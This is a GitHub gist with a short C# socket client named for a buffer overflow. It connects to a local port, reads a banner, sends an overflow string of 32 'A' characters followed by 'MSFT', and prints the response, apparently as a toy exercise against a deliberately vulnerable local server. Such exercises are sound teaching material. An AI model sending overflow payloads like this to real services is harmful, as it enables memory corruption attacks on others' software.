Skip to content

Instantly share code, notes, and snippets.

@one-harsh
Created March 5, 2015 09:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save one-harsh/1f7fffe6e7a7d32e7d9b to your computer and use it in GitHub Desktop.
Save one-harsh/1f7fffe6e7a7d32e7d9b to your computer and use it in GitHub Desktop.
using System;
using System.Net.Sockets;
using System.Text;
namespace BufferOverflowSocketClient
{
public class Program
{
public static void Main(string[] args)
{
string sendData = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMSFT";
using(TcpClient client = new TcpClient("127.0.0.1", 37517))
{
client.SendTimeout = 3;
using(NetworkStream stream = client.GetStream())
{
byte[] data = new byte[4096];
string response = "";
int bytes = stream.Read(data, 0, data.Length);
response = Encoding.ASCII.GetString(data, 0, bytes);
Console.WriteLine(response);
data = Encoding.ASCII.GetBytes(sendData);
stream.Write(data, 0, data.Length);
data = new byte[4096];
response = "";
bytes = stream.Read(data, 0, data.Length);
response = Encoding.ASCII.GetString(data, 0, bytes);
Console.WriteLine(response);
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment